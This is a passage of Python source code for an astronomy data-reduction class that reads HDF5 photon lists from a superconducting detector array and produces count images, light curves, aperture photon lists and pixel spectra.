%s'%self.fullFileName\n if verbose:\n print(msg)\n raise Exception(msg)\n\n #open the hdf5 file\n if self.mode=='read':\n mode = 'r'\n if self.mode=='write':\n mode = 'a'\n\n self.file = tables.open_file(self.fullFileName, mode=mode)\n\n #get the header\n self.header = self.file.root.header.header\n self.titles = self.header.colnames\n try:\n self.info = self.header[0] #header is a table with one row\n except IndexError as inst:\n if verbose:\n print('Can\\'t read header for ',self.fullFileName)\n raise inst\n\n # get important cal params\n\n self.defaultWvlBins = ObsFile.makeWvlBins(self.getFromHeader('energyBinWidth'), self.getFromHeader('wvlBinStart'), self.getFromHeader('wvlBinEnd'))\n\n\n # Useful information about data format set here.\n # For now, set all of these as constants.\n # If we get data taken with different parameters, straighten\n # that all out here.\n\n ## These parameters are for LICK2012 and PAL2012 data\n self.tickDuration = 1e-6 #s\n self.ticksPerSec = int(1.0 / self.tickDuration)\n self.intervalAll = interval[0.0, (1.0 / self.tickDuration) - 1]\n # 8 bits - channel\n # 12 bits - Parabola Fit Peak Height\n # 12 bits - Sampled Peak Height\n # 12 bits - Low pass filter baseline\n # 20 bits - Microsecond timestamp\n\n #get the beam image.\n try:\n self.beamImage = self.file.get_node('/BeamMap/Map').read()\n self.beamFlagImage = self.file.get_node('/BeamMap/Flag')\n except Exception as inst:\n if verbose:\n print('Can\\'t access beamimage for ',self.fullFileName)\n raise inst\n\n beamShape = self.beamImage.shape\n self.nXPix = beamShape[0]\n self.nYPix = beamShape[1]\n\n def checkIntegrity(self,firstSec=0,integrationTime=-1):\n \"\"\"\n Checks the obs file for corrupted end-of-seconds\n Corruption is indicated by timestamps greater than 1/tickDuration=1e6\n returns 0 if no corruption found\n \"\"\"\n corruptedPixels = []\n for xCoord in range(self.nXPix):\n for yCoord in range(self.nYPix):\n packetList = self.getPixelPacketList(xCoord,yCoord,firstSec,integrationTime)\n timestamps,parabolaPeaks,baselines = self.parsePhotonPackets(packetList)\n if np.any(timestamps > 1./self.tickDuration):\n print('Corruption detected in pixel (',xCoord,yCoord,')')\n corruptedPixels.append((xCoord,yCoord))\n corruptionFound = len(corruptedPixels) != 0\n return corruptionFound\n# exptime = self.getFromHeader('exptime')\n# lastSec = firstSec + integrationTime\n# if integrationTime == -1:\n# lastSec = exptime-1\n#\n# corruptedSecs = []\n# for pixelCoord in corruptedPixels:\n# for sec in xrange(firstSec,lastSec):\n# packetList = self.getPixelPacketList(pixelCoord[0],pixelCoord[1],sec,integrationTime=1)\n# timestamps,parabolaPeaks,baselines = self.parsePhotonPackets(packetList)\n# if np.any(timestamps > 1./self.tickDuration):\n# pixelLabel = self.beamImage[xCoord][yCoord]\n# corruptedSecs.append(sec)\n# print 'Corruption in pixel',pixelLabel, 'at',sec\n\n\n\n def createEmptyPhotonListFile(self,*nkwargs,**kwargs):\n \"\"\"\n creates a photonList h5 file using header in headers.ArconsHeaders\n Shifted functionality to photonlist/photlist.py, JvE May 10 2013.\n See that function for input parameters and outputs.\n \"\"\"\n import photonlist.photlist #Here instead of at top to avoid circular imports\n photonlist.photlist.createEmptyPhotonListFile(self,*nkwargs,**kwargs)\n\n\n# def createEmptyPhotonListFile(self,fileName=None):\n# \"\"\"\n# creates a photonList h5 file\n# using header in headers.ArconsHeaders\n#\n# INPUTS:\n# fileName - string, name of file to write to. If not supplied, default is used\n# based on name of original obs. file and standard directories etc.\n# (see usil.FileName). Added 4/29/2013, JvE\n# \"\"\"\n#\n# if fileName is None:\n# fileTimestamp = self.fileName.split('_')[1].split('.')[0]\n# fileDate = os.path.basename(os.path.dirname(self.fullFileName))\n# run = os.path.basename(os.path.dirname(os.path.dirname(self.fullFileName)))\n# fn = FileName(run=run, date=fileDate, tstamp=fileTimestamp)\n# fullPhotonListFileName = fn.photonList()\n# else:\n# fullPhotonListFileName = fileName\n# if (os.path.exists(fullPhotonListFileName)):\n# if utils.confirm('Photon list file %s exists. Overwrite?' % fullPhotonListFileName, defaultResponse=False) == False:\n# exit(0)\n# zlibFilter = tables.Filters(complevel=1, complib='zlib', fletcher32=False)\n# try:\n# plFile = tables.openFile(fullPhotonListFileName, mode='w')\n# plGroup = plFile.createGroup('/', 'photons', 'Group containing photon list')\n# plTable = plFile.createTable(plGroup, 'photons', ArconsHeaders.PhotonList, 'Photon List Data',\n# filters=zlibFilter,\n# expectedrows=300000) #Temporary fudge to see if it helps!\n# except:\n# plFile.close()\n# raise\n# return plFile\n\n def displaySec(self, firstSec=0, integrationTime= -1, weighted=False,\n fluxWeighted=False, plotTitle='', nSdevMax=2,\n scaleByEffInt=False, getRawCount=False, fignum=None, ds9=False,\n pclip=1.0, **kw):\n \"\"\"\n plots a time-flattened image of the counts integrated from firstSec to firstSec+integrationTime\n if integrationTime is -1, All time after firstSec is used.\n if weighted is True, flat cal weights are applied\n If fluxWeighted is True, apply flux cal weights.\n if scaleByEffInt is True, then counts are scaled by effective exposure\n time on a per-pixel basis.\n nSdevMax - max end of stretch scale for display, in # sigmas above the mean.\n getRawCount - if True the raw non-wavelength-calibrated image is\n displayed with no wavelength cutoffs applied (in which case no wavecal\n file need be loaded).\n fignum - as for utils.plotArray (None = new window; False/0 = current window; or\n specify target window number).\n ds9 - boolean, if True, display in DS9 instead of regular plot window.\n pclip - set to percentile level (in percent) to set the upper and lower bounds\n of the colour scale.\n **kw - any other keywords passed directly to utils.plotArray()\n\n \"\"\"\n secImg = self.getPixelCountImage(firstSec, integrationTime, weighted, fluxWeighted,\n getRawCount=getRawCount,scaleByEffInt=scaleByEffInt)['image']\n toPlot = np.copy(secImg)\n vmin = np.percentile(toPlot[np.isfinite(toPlot)],pclip)\n vmax = np.percentile(toPlot[np.isfinite(toPlot)],100.-pclip)\n toPlot[np.isnan(toPlot)] = 0 #Just looks nicer when you plot it.\n if ds9 is True:\n utils.ds9Array(secImg)\n else:\n utils.plotArray(secImg, cbar=True, normMax=np.mean(secImg) + nSdevMax * np.std(secImg),\n plotTitle=plotTitle, fignum=fignum, **kw)\n\n\n def getFromHeader(self, name):\n \"\"\"\n Returns a requested entry from the obs file header\n If asked for exptime (exposure time) and some roaches have a timestamp offset\n The returned exposure time will be shortened by the max offset, since ObsFile\n will not retrieve data from seconds in which some roaches do not have data.\n This also affects unixtime (start of observation).\n If asked for jd, the jd is calculated from the (corrected) unixtime\n \"\"\"\n entry = self.info[self.titles.index(name)]\n if name=='exptime' and self.timeAdjustFile != None:\n #shorten the effective exptime by the number of seconds that\n #does not have data from all roaches\n maxDelay = np.max(self.roachDelays)\n entry -= maxDelay\n if name=='unixtime' and self.timeAdjustFile != None:\n #the way getPixel retrieves data accounts for individual roach delay,\n #but shifted everything by np.max(self.roachDelays), relabeling sec maxDelay as sec 0\n #so, add maxDelay to the header start time, so all times will be correct relative to it\n entry += np.max(self.roachDelays)\n entry += self.firmwareDelay\n if name=='jd':\n #The jd stored in the raw file header is the jd when the empty file is created\n #but not when the observation starts. The actual value can be derived from the stored unixtime\n unixEpochJD = 2440587.5\n secsPerDay = 86400\n unixtime = self.getFromHeader('unixtime')\n entry = 1.*unixtime/secsPerDay+unixEpochJD\n return entry\n\n def getPixelPhotonList(self, xCoord, yCoord, firstSec=0, integrationTime= -1, wvlRange=None, isWvl=True):\n \"\"\"\n Retrieves a photon list for a single pixel using the attached beammap.\n\n Parameters\n ----------\n xCoord: int\n x-coordinate of pixel in beammap\n yCoord: int\n y-coordinate index of pixel in beammap\n firstSec: float\n Photon list start time, in seconds relative to beginning of file\n integrationTime: float\n Photon list end time, in seconds relative to firstSec.\n If -1, goes to end of file\n wvlRange: (float, float)\n Desired wavelength range of photon list. Must satisfy wvlRange[0] <= wvlRange[1].\n If None, includes all wavelengths. If file is not wavelength calibrated, this parameter\n specifies the range of desired phase heights.\n isWvl: bool\n If True, wvlRange specifies wavelengths. Else, wvlRange is assumed to specify uncalibrated\n phase heights.\n\n Returns\n -------\n Structured Numpy Array\n Each row is a photon.\n Columns have the following keys: 'Time', 'Wavelength', 'SpecWeight', 'NoiseWeight'\n\n \"\"\"\n resID = self.beamImage[xCoord][yCoord]\n if resID==self.noResIDFlag:\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n return self.photonTable.read_where('(Time < 0)') #use dummy condition to get empty photon list of correct format\n\n startTime = int(firstSec*self.ticksPerSec) #convert to us\n endTime = startTime + int(integrationTime*self.ticksPerSec)\n # if integrationTime == -1:\n # try:\n # endTime = startTime + int(self.getFromHeader('expTime'))*self.ticksPerSec\n # except ValueError:\n # try:\n # endTime = startTime + photonTable.read(-1)[0][0]\n # except IndexError:\n # endTime = startTime + 1 #Assume table is empty\n # else:\n # endTime = startTime + int(integrationTime*self.ticksPerSec)\n\n wvlRange = None ##IL: Patch because for some reason wvlRange gets set to false after the getSpectralCube step\n if wvlRange is None and integrationTime==-1:\n photonList = self.photonTable.read_where('ResID==resID')\n\n elif wvlRange is None:\n photonList = self.photonTable.read_where('(ResID == resID) & (Time >= startTime) & (Time < endTime)')\n\n else:\n if(isWvl != self.info['isWvlCalibrated']):\n raise Exception('isWvl does not match wavelength cal status! \\nisWvlCalibrated = ' + str(self.info['isWvlCalibrated']) + '\\nisWvl = ' + str(isWvl))\n startWvl = wvlRange[0]\n endWvl = wvlRange[1]\n assert startWvl <= endWvl, 'wvlRange[0] must be <= wvlRange[1]'\n if integrationTime == -1:\n photonList = photonTable.read_where('(ResID == resID) & (Wavelength >= startWvl) & (Wavelength < endWvl)')\n else:\n photonList = photonTable.read_where('(ResID == resID) & (Time > startTime) & (Time < endTime) & (Wavelength >= startWvl) & (Wavelength < endWvl)')\n\n #return {'pixelData':pixelData,'firstSec':firstSec,'lastSec':lastSec}\n return photonList\n\n def getListOfPixelsPhotonList(self, posList, firstSec=0, integrationTime=-1, wvlRange=None):\n \"\"\"\n Retrieves photon lists for a list of pixels.\n\n Parameters\n ----------\n posList: Nx2 array of ints (or list of 2 element tuples)\n List of (x, y) beammap indices for desired pixels\n firstSec: float\n Photon list start time, in seconds relative to beginning of file\n integrationTime: float\n Photon list end time, in seconds relative to firstSec.\n If -1, goes to end of file\n wvlRange: (float, float)\n Desired wavelength range of photon list. Must satisfy wvlRange[0] < wvlRange[1].\n If None, includes all wavelengths. If file is not wavelength calibrated, this parameter\n specifies the range of desired phase heights.\n\n Returns\n -------\n List of Structured Numpy Arrays\n The ith element contains a photon list for the ith pixel specified in posList\n Within each structured array:\n Each row is a photon.\n Columns have the following keys: 'Time', 'Wavelength', 'SpecWeight', 'NoiseWeight'\n\n \"\"\"\n\n photonLists = []\n nPix = np.shape(posList)[0]\n for i in range(nPix):\n photonLists.append(self.getPixelPhotonList(posList[i][0], posList[i][1], firstSec, integrationTime, wvlRange))\n\n return photonLists\n\n def getPixelCount(self, xCoord, yCoord, firstSec=0, integrationTime= -1, wvlRange=None, applyWeight=True, applyTPFWeight=True, applyTimeMask=True):\n \"\"\"\n Returns the number of photons received in a single pixel from firstSec to firstSec + integrationTime\n\n Parameters\n ----------\n xCoord: int\n x-coordinate of pixel in beammap\n yCoord: int\n y-coordinate index of pixel in beammap\n firstSec: float\n Photon list start time, in seconds relative to beginning of file\n integrationTime: float\n Photon list end time, in seconds relative to firstSec.\n If -1, goes to end of file\n wvlRange: (float, float)\n Desired wavelength range of photon list. Must satisfy wvlRange[0] < wvlRange[1].\n If None, includes all wavelengths. If file is not wavelength calibrated, this parameter\n specifies the range of desired phase heights.\n applyWeight: bool\n If True, applies the spectral/flat/linearity weight\n applyTPFWeight: bool\n If True, applies the true positive fraction (noise) weight\n applyTimeMask: bool\n If True, applies the included time mask (if it exists)\n\n Returns\n -------\n Dictionary with keys:\n 'counts':int, number of photon counts\n 'effIntTime':float, effective integration time after time-masking is\n ` accounted for.\n \"\"\"\n photonList = self.getPixelPhotonList(xCoord, yCoord, firstSec, integrationTime, wvlRange)\n weights = np.ones(len(photonList))\n if applyWeight:\n weights *= photonList['SpecWeight']\n if applyTPFWeight:\n weights *= photonList['NoiseWeight']\n if applyTimeMask:\n if self.info['timeMaskExists']:\n pass\n else:\n warnings.warn('Time mask does not exist!')\n\n return {'counts':np.sum(weights), 'effIntTime':integrationTime}\n\n\n def getPixelLightCurve(self,xCoord,yCoord,firstSec=0,lastSec=-1,cadence=1,\n **kwargs):\n \"\"\"\n Get a simple light curve for a pixel (basically a wrapper for getPixelCount).\n\n INPUTS:\n xCoord,yCoord - Row and column of pixel\n firstSec - start time (sec) within obsFile to begin the light curve\n lastSec - end time (sec) within obsFile for the light curve. If -1, returns light curve to end of file.\n cadence - cadence (sec) of light curve. i.e., return values integrated every 'cadence' seconds.\n **kwargs - any other keywords are passed on to getPixelCount (see above), including:\n weighted\n fluxWeighted (Note if True, then this should correct the light curve for effective exposure time due to bad pixels)\n getRawCount\n\n OUTPUTS:\n A single one-dimensional array of flux counts integrated every 'cadence' seconds\n between firstSec and lastSec. Note if step is non-integer may return inconsistent\n number of values depending on rounding of last value in time step sequence (see\n documentation for numpy.arange() ).\n\n If hot pixel masking is turned on, then returns 0 for any time that is masked out.\n (Maybe should update this to NaN at some point in getPixelCount?)\n \"\"\"\n if lastSec==-1:lSec = self.getFromHeader('exptime')\n else: lSec = lastSec\n return np.array([self.getPixelCount(xCoord,yCoord,firstSec=x,integrationTime=cadence,**kwargs)['counts']\n for x in np.arange(firstSec,lSec,cadence)])\n\n\n def plotPixelLightCurve(self,xCoord,yCoord,firstSec=0,lastSec=-1,cadence=1,**kwargs):\n \"\"\"\n Plot a simple light curve for a given pixel. Just a wrapper for getPixelLightCurve.\n Also marks intervals flagged as bad with gray shaded regions if a hot pixel mask is\n loaded.\n \"\"\"\n\n lc = self.getPixelLightCurve(xCoord=xCoord,yCoord=yCoord,firstSec=firstSec,lastSec=lastSec,\n cadence=cadence,**kwargs)\n if lastSec==-1: realLastSec = self.getFromHeader('exptime')\n else: realLastSec = lastSec\n\n #Plot the lightcurve\n x = np.arange(firstSec+cadence/2.,realLastSec)\n assert len(x)==len(lc) #In case there are issues with arange being inconsistent on the number of values it returns\n plt.plot(x,lc)\n plt.xlabel('Time since start of file (s)')\n plt.ylabel('Counts')\n plt.title(self.fileName+' - pixel x,y = '+str(yCoord)+','+str(xCoord))\n\n #Get bad times in time range of interest (hot pixels etc.)\n badTimes = self.getPixelBadTimes(xCoord,yCoord) & interval([firstSec,realLastSec]) #Returns an 'interval' instance\n lcRange = np.nanmax(lc)-np.nanmin(lc)\n for eachInterval in badTimes:\n plt.fill_betweenx([np.nanmin(lc)-0.5*lcRange,np.nanmax(lc)+0.5*lcRange], eachInterval[0],eachInterval[1],\n alpha=0.5,color='gray')\n\n\n def getPixelCountImage(self, firstSec=0, integrationTime= -1, wvlRange=None, applyWeight=True, applyTPFWeight=True, applyTimeMask=False, scaleByEffInt=False, flagToUse=0):\n \"\"\"\n Returns an image of pixel counts over the entire array between firstSec and firstSec + integrationTime. Can specify calibration weights to apply as\n well as wavelength range.\n\n Parameters\n ----------\n firstSec: float\n Photon list start time, in seconds relative to beginning of file\n integrationTime: float\n Photon list end time, in seconds relative to firstSec.\n If -1, goes to end of file\n wvlRange: (float, float)\n Desired wavelength range of photon list. Must satisfy wvlRange[0] < wvlRange[1].\n If None, includes all wavelengths. If file is not wavelength calibrated, this parameter\n specifies the range of desired phase heights.\n applyWeight: bool\n If True, applies the spectral/flat/linearity weight\n applyTPFWeight: bool\n If True, applies the true positive fraction (noise) weight\n applyTimeMask: bool\n If True, applies the included time mask (if it exists)\n scaleByEffInt: bool\n If True, scales each pixel by (total integration time)/(effective integration time)\n flagToUse: int\n Specifies (bitwise) pixel flags that are suitable to include in image. For\n flag definitions see 'h5FileFlags' in Headers/pipelineFlags.py\n\n Returns\n -------\n Dictionary with keys:\n 'image': 2D numpy array, image of pixel counts\n 'effIntTime':2D numpy array, image effective integration times after time-masking is\n ` accounted for.\n \"\"\"\n effIntTimes = np.zeros((self.nXPix, self.nYPix), dtype=np.float64)\n effIntTimes.fill(np.nan) #Just in case an element doesn't get filled for some reason.\n countImage = np.zeros((self.nXPix, self.nYPix), dtype=np.float64)\n #rawCounts.fill(np.nan) #Just in case an element doesn't get filled for some reason.\n if integrationTime==-1:\n integrationTime = self.getFromHeader('exptime')-firstSec\n startTs = firstSec*1.e6\n endTs = startTs + integrationTime*1.e6\n if wvlRange is None:\n photonList = self.photonTable.read_where('((Time >= startTs) & (Time < endTs))')\n else:\n startWvl = wvlRange[0]\n endWvl = wvlRange[1]\n photonList = self.photonTable.read_where('(Wavelength >= startWvl) & (Wavelength < endWvl) & (Time >= startTs) & (Time < endTs)')\n\n resIDDiffs = np.diff(photonList['ResID'])\n if(np.any(resIDDiffs<0)):\n warnings.warn('Photon list not sorted by ResID! This could take a while...')\n photonList = np.sort(photonList, order='ResID', kind='mergsort') #mergesort is stable, so time order will be preserved\n resIDDiffs = np.diff(photonList['ResID'])\n \n resIDBoundaryInds = np.where(resIDDiffs>0)[0]+1 #indices in photonList where ResID changes; ie marks boundaries between pixel tables\n resIDBoundaryInds = np.insert(resIDBoundaryInds, 0, 0)\n resIDList = photonList['ResID'][resIDBoundaryInds]\n resIDBoundaryInds = np.append(resIDBoundaryInds, len(photonList['ResID']))\n\n for xCoord in range(self.nXPix):\n for yCoord in range(self.nYPix):\n flag = self.beamFlagImage[xCoord, yCoord]\n if(self.beamImage[xCoord, yCoord]!=self.noResIDFlag and (flag|flagToUse)==flag):\n effIntTimes[xCoord, yCoord] = integrationTime\n resIDInd = np.where(resIDList==self.beamImage[xCoord, yCoord])[0]\n if(np.shape(resIDInd)[0]>0):\n resIDInd = resIDInd[0]\n if applyWeight==False and applyTPFWeight==False:\n countImage[xCoord, yCoord] = resIDBoundaryInds[resIDInd+1] - resIDBoundaryInds[resIDInd]\n else:\n weights = np.ones(resIDBoundaryInds[resIDInd+1] - resIDBoundaryInds[resIDInd])\n if applyWeight:\n weights *= photonList['SpecWeight'][resIDBoundaryInds[resIDInd]:resIDBoundaryInds[resIDInd+1]]\n if applyTPFWeight:\n weights *= photonList['NoiseWeight'][resIDBoundaryInds[resIDInd]:resIDBoundaryInds[resIDInd+1]] \n countImage[xCoord, yCoord] = np.sum(weights)\n\n #for i,resID in enumerate(resIDList):\n # coords = np.where(self.beamFlagImage==resID)\n # xCoord = coords[0][0]\n # yCoord = coords[1][0]\n # flag = self.beamFlagImage[coords]\n # if (flag|flagToUse)==flag:\n # if applyWeight==False and applyTPFWeight==False:\n \n \n if scaleByEffInt is True:\n if integrationTime == -1:\n totInt = self.getFromHeader('exptime')\n else:\n totInt = integrationTime\n countImage *= (totInt / effIntTimes)\n\n #if getEffInt is True:\n return{'image':countImage, 'effIntTimes':effIntTimes}\n #else:\n # return secImg\n\n def getAperturePixelCountImage(self, firstSec=0, integrationTime= -1, y_values=list(range(46)), x_values=list(range(44)), y_sky=[], x_sky=[], apertureMask=np.ones((46,44)), skyMask=np.zeros((46,44)), weighted=False, fluxWeighted=False, getRawCount=False, scaleByEffInt=False):\n\n \"\"\"\n Return a time-flattened image of the counts integrated from firstSec to firstSec+integrationTime\n This aperture version subtracts out the average sky counts/pixel and includes scaling due to circular apertures. GD 5/27/13\n If integration time is -1, all time after firstSec is used.\n If weighted is True, flat cal weights are applied. JvE 12/28/12\n If fluxWeighted is True, flux cal weights are applied. SM 2/7/13\n If getRawCount is True then the raw non-wavelength-calibrated image is\n returned with no wavelength cutoffs applied (in which case no wavecal\n file need be loaded). JvE 3/1/13\n If scaleByEffInt is True, any pixels that have 'bad' times masked out\n will have their counts scaled up to match the equivalent integration\n time requested.\n RETURNS:\n Dictionary with keys:\n 'image' - a 2D array representing the image\n 'effIntTimes' - a 2D array containing effective integration\n times for each pixel.\n \"\"\"\n secImg = np.zeros((self.nXPix, self.nYPix))\n effIntTimes = np.zeros((self.nXPix, self.nYPix), dtype=np.float64)\n effIntTimes.fill(np.nan) #Just in case an element doesn't get filled for some reason.\n skyValues=[]\n objValues=[]\n AreaSky=[]\n AreaObj=[]\n for pix in range(len(y_sky)):\n pcount = self.getPixelCount(y_sky[pix], x_sky[pix], firstSec, integrationTime,weighted, fluxWeighted, getRawCount)\n skyValue=pcount['counts']*skyMask[y_sky[pix]][x_sky[pix]]\n skyValues.append(skyValue)\n AreaSky.append(skyMask[y_sky[pix]][x_sky[pix]])\n skyCountPerPixel = np.sum(skyValues)/(np.sum(AreaSky))\n# print 'sky count per pixel =',skyCountPerPixel\n for pix in range(len(y_values)):\n pcount = self.getPixelCount(y_values[pix], x_values[pix], firstSec, integrationTime,weighted, fluxWeighted, getRawCount)\n secImg[y_values[pix],x_values[pix]] = (pcount['counts']-skyCountPerPixel)*apertureMask[y_values[pix]][x_values[pix]]\n AreaObj.append(apertureMask[y_values[pix]][x_values[pix]])\n effIntTimes[y_values[pix],x_values[pix]] = pcount['effIntTime']\n objValues.append(pcount['counts']*apertureMask[y_values[pix]][x_values[pix]])\n AveObj=np.sum(objValues)/(np.sum(AreaObj))\n# print 'ave obj per pixel (not sub) = ',AveObj\n NumObjPhotons = np.sum(secImg)\n# print 'lightcurve = ',NumObjPhotons\n if scaleByEffInt is True:\n secImg *= (integrationTime / effIntTimes)\n #if getEffInt is True:\n return{'image':secImg, 'effIntTimes':effIntTimes, 'SkyCountSubtractedPerPixel':skyCountPerPixel,'lightcurve':NumObjPhotons}\n #else:\n # return secImg\n\n def getCircularAperturePhotonList(self, centerXCoord, centerYCoord, radius, firstSec=0, integrationTime=-1, wvlRange=None, flagToUse=0):\n \"\"\"\n Retrieves a photon list for the specified circular aperture.\n For pixels that partially overlap with the region, all photons\n are included, and the overlap fraction is multiplied into the\n 'NoiseWeight' column.\n\n Parameters\n ----------\n centerXCoord: float\n x-coordinate of aperture center (pixel units)\n centerYCoord: float\n y-coordinate of aperture center (pixel units)\n radius: float\n radius of aperture\n firstSec: float\n Photon list start time, in seconds relative to beginning of file\n integrationTime: float\n Photon list end time, in seconds relative to firstSec.\n If -1, goes to end of file\n wvlRange: (float, float)\n Desired wavelength range of photon list. Must satisfy wvlRange[0] <= wvlRange[1].\n If None, includes all wavelengths.\n flagToUse: int\n Specifies (bitwise) pixel flags that are suitable to include in photon list. For\n flag definitions see 'h5FileFlags' in Headers/pipelineFlags.py\n\n Returns\n -------\n Dictionary with keys:\n photonList: numpy structured array\n Time ordered photon list. Adds resID column to keep track\n of individual pixels\n effQE: float\n Fraction of usable pixel area inside aperture\n apertureMask: numpy array\n Image of effective pixel weight inside aperture. \"Pixel weight\"\n for now is just the area of overlap w/ aperture, with dead\n pixels set to 0.\n\n \"\"\"\n\n center = PixCoord(centerXCoord, centerYCoord)\n apertureRegion = CirclePixelRegion(center, radius)\n exactApertureMask = apertureRegion.to_mask('exact').data\n boolApertureMask = exactApertureMask>0\n apertureMaskCoords = np.transpose(np.array(np.where(boolApertureMask))) #valid coordinates within aperture mask\n photonListCoords = apertureMaskCoords + np.array([apertureRegion.bounding_box.ixmin, apertureRegion.bounding_box.iymin]) #pixel coordinates in image\n\n # loop through valid coordinates, grab photon lists and store in photonList\n photonList = None\n for i,coords in enumerate(photonListCoords):\n if coords[0]<0 or coords[0]>=self.nXPix or coords[1]<0 or coords[1]>=self.nYPix:\n exactApertureMask[apertureMaskCoords[i,0], apertureMaskCoords[i,1]] = 0\n continue\n flag = self.beamFlagImage[coords[0], coords[1]]\n if (flag | flagToUse) != flagToUse:\n exactApertureMask[apertureMaskCoords[i,0], apertureMaskCoords[i,1]] = 0\n continue\n resID = self.beamImage[coords[0], coords[1]]\n pixPhotonList = self.getPixelPhotonList(coords[0], coords[1], firstSec, integrationTime, wvlRange)\n pixPhotonList['NoiseWeight'] *= exactApertureMask[apertureMaskCoords[i,0], apertureMaskCoords[i,1]]\n if photonList is None:\n photonList = pixPhotonList\n else:\n photonList = np.append(photonList, pixPhotonList)\n\n photonList = np.sort(photonList, order='Time')\n return {'photonList':photonList, 'effQE':np.sum(exactApertureMask)/(np.pi*radius**2), 'apertureMask':exactApertureMask}\n\n\n\n def getSpectralCube(self, firstSec=0, integrationTime=-1, applySpecWeight=False, applyTPFWeight=False, wvlStart=700, wvlStop=1500,\n wvlBinWidth=None, energyBinWidth=None, wvlBinEdges=None, timeSpacingCut=None):\n \"\"\"\n Return a time-flattened spectral cube of the counts integrated from firstSec to firstSec+integrationTime.\n If integration time is -1, all time after firstSec is used.\n If weighted is True, flat cal weights are applied.\n If fluxWeighted is True, spectral shape weights are applied.\n \"\"\"\n\n cube = [[[] for yCoord in range(self.nYPix)] for xCoord in range(self.nXPix)]\n effIntTime = np.zeros((self.nXPix,self.nYPix))\n rawCounts = np.zeros((self.nXPix,self.nYPix))\n\n for xCoord in range(self.nXPix):\n for yCoord in range(self.nYPix):\n x = self.getPixelSpectrum(xCoord=xCoord,yCoord=yCoord,\n firstSec=firstSec, applySpecWeight=applySpecWeight,\n applyTPFWeight=applyTPFWeight, wvlStart=wvlStart, wvlStop=wvlStop,\n wvlBinWidth=wvlBinWidth, energyBinWidth=energyBinWidth,\n wvlBinEdges=wvlBinEdges, timeSpacingCut=timeSpacingCut)\n cube[xCoord][yCoord] = x['spectrum']\n effIntTime[xCoord][yCoord] = x['effIntTime']\n rawCounts[xCoord][yCoord] = x['rawCounts']\n wvlBinEdges = x['wvlBinEdges']\n cube = np.array(cube)\n return {'cube':cube,'wvlBinEdges':wvlBinEdges,'effIntTime':effIntTime, 'rawCounts':rawCounts}\n\n def getPixelSpectrum(self, xCoord, yCoord, firstSec=0, integrationTime= -1,\n applySpecWeight=False, applyTPFWeight=False, wvlStart=None, wvlStop=None,\n wvlBinWidth=None, energyBinWidth=None, wvlBinEdges=None,timeSpacingCut=None):\n \"\"\"\n returns a spectral histogram of a given pixel integrated from firstSec to firstSec+integrationTime,\n and an array giving the cutoff wavelengths used to bin the wavelength values\n\n Wavelength Bin Specification:\n Depends on parameters: wvlStart, wvlStop, wvlBinWidth, energyBinWidth, wvlBinEdges.\n Can only specify one of: wvlBinWidth, energyBinWidth, or wvlBinEdges. If none of these are specified,\n default wavelength bins are used. If flat calibration exists and is applied, flat cal wavelength bins\n must be used.\n\n Parameters\n ----------\n xCoord: int\n x-coordinate of desired pixel.\n yCoord: int\n y-coordinate index of desired pixel.\n firstSec: float\n Start time of integration, in seconds relative to beginning of file\n integrationTime: float\n Total integration time in seconds. If -1, everything after firstSec is used\n applySpecWeight: bool\n If True, weights counts by spectral/flat/linearity weight\n applyTPFWeight: bool\n If True, weights counts by true positive fraction (noise weight)\n wvlStart: float\n Start wavelength of histogram. Only used if wvlBinWidth or energyBinWidth is\n specified (otherwise it's redundant). Defaults to self.wvlLowerLimit or 7000.\n wvlEnd: float\n End wavelength of histogram. Only used if wvlBinWidth or energyBinWidth is\n specified. Defaults to self.wvlUpperLimit or 15000\n wvlBinWidth: float\n Width of histogram wavelength bin. Used for fixed wavelength bin widths.\n energyBinWidth: float\n Width of histogram energy bin. Used for fixed energy bin widths.\n wvlBinEdges: numpy array of floats\n Specifies histogram wavelength bins. wvlStart and wvlEnd are ignored.\n timeSpacingCut: ????\n Legacy; unused\n\n\n Returns\n -------\n Dictionary with keys:\n 'spectrum' - spectral histogram of given pixel.\n 'wvlBinEdges' - edges of wavelength bins\n 'effIntTime' - the effective integration time for the given pixel\n after accounting for hot-pixel time-masking.\n 'rawCounts' - The total number of photon triggers (including from\n the noise tail) during the effective exposure.\n \"\"\"\n\n wvlStart=wvlStart if (wvlStart!=None and wvlStart>0.) else (self.wvlLowerLimit if (self.wvlLowerLimit!=None and self.wvlLowerLimit>0.) else 700)\n wvlStop=wvlStop if (wvlStop!=None and wvlStop>0.) else (self.wvlUpperLimit if (self.wvlUpperLimit!=None and self.wvlUpperLimit>0.) else 1500)\n\n\n photonList = self.getPixelPhotonList(xCoord, yCoord, firstSec, integrationTime)\n wvlList = photonList['Wavelength']\n rawCounts = len(wvlList)\n\n if integrationTime==-1:\n effIntTime = self.getFromHeader('expTime')\n else:\n effIntTime = integrationTime\n weights = np.ones(len(wvlList))\n\n if applySpecWeight:\n weights *= photonList['SpecWeight']\n\n if applyTPFWeight:\n weights *= photonList['NoiseWeight']\n\n if (wvlBinWidth is None) and (energyBinWidth is None) and (wvlBinEdges is None): #use default/flat cal supplied bins\n spectrum, wvlBinEdges = np.histogram(wvlList, bins=self.defaultWvlBins, weights=weights)\n\n else: #use specified bins\n if applySpecWeight and self.info['isFlatCalibrated']:\n raise ValueError('Using flat cal, so flat cal bins must be used')\n elif wvlBinEdges is not None:\n assert wvlBinWidth is None and energyBinWidth is None, 'Histogram bins are overspecified!'\n spectrum, wvlBinEdges = np.histogram(wvlList, bins=wvlBinEdges, weights=weights)\n elif energyBinWidth is not None:\n assert wvlBinWidth is None, 'Cannot specify both wavelength and energy bin widths!'\n wvlBinEdges = ObsFile.makeWvlBins(energyBinWidth=energyBinWidth, wvlStart=wvlStart, wvlStop=wvlStop)\n spectrum, wvlBinEdges = np.histogram(wvlList, bins=wvlBinEdges, weights=weights)\n elif wvlBinWidth is not None:\n nWvlBins = int((wvlStop - wvlStart)/wvlBinWidth)\n spectrum, wvlBinEdges = np.histogram(wvlList, bins=nWvlBins, range=(wvlStart, wvlStop), weights=weights)\n\n else:\n raise Exception('Something is wrong with getPixelSpectrum...')\n\n if self.filterIsApplied == True:\n if not np.array_equal(self.filterWvlBinEdges, wvlBinEdges):\n raise ValueError(\"Synthetic filter wvlBinEdges do not match pixel spectrum wvlBinEdges!\")\n spectrum*=self.filterTrans\n #if getEffInt is True:\n return {'spectrum':spectrum, 'wvlBinEdges':wvlBinEdges, 'effIntTime':effIntTime, 'rawCounts':rawCounts}\n print('again', spectrum)\n #else:\n # return spectrum,wvlBinEdges\n\n def getApertureSpectrum(self, pixelRow, pixelCol, radius1, radius2, 